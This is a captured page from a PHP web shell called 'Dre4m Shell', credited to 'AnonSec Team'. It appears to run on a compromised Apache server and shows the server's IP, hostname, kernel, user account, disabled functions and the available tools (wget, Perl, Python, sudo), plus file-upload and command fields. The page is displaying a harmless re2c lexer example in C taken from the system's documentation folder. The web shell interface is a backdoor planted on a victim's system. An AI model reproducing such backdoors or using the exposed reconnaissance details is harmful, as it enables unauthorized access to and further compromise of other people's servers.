Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 3.145.2.6
Web Server : Apache/2.4.62 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /proc/2/cwd/usr/share/doc/re2c/examples/c/reuse/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /proc/2/cwd/usr/share/doc/re2c/examples/c/reuse/reuse.re
// re2c $INPUT -o $OUTPUT --input-encoding utf8
#include <assert.h>
#include <stdint.h>

// This example supports multiple input encodings: UTF-8 and UTF-32.
// Both lexers are generated from the same rules block, and the use
// blocks add only encoding-specific configurations.
/*!rules:re2c
    re2c:yyfill:enable = 0;

    "∀x ∃y" { return 0; }
    *       { return 1; }
*/

static int lex_utf8(const uint8_t *s) {
    const uint8_t *YYCURSOR = s, *YYMARKER;
    /*!use:re2c
        re2c:define:YYCTYPE = uint8_t;
        re2c:encoding:utf8 = 1;
    */
}

static int lex_utf32(const uint32_t *s) {
    const uint32_t *YYCURSOR = s, *YYMARKER;
    /*!use:re2c
        re2c:define:YYCTYPE = uint32_t;
        re2c:encoding:utf32 = 1;
    */
}

int main() {
    static const uint8_t s8[] = // UTF-8
        { 0xe2, 0x88, 0x80, 0x78, 0x20, 0xe2, 0x88, 0x83, 0x79 };

    static const uint32_t s32[] = // UTF32
        { 0x00002200, 0x00000078, 0x00000020, 0x00002203, 0x00000079 };

    assert(lex_utf8(s8) == 0);
    assert(lex_utf32(s32) == 0);
    return 0;
}


Anon7 - 2022
AnonSec Team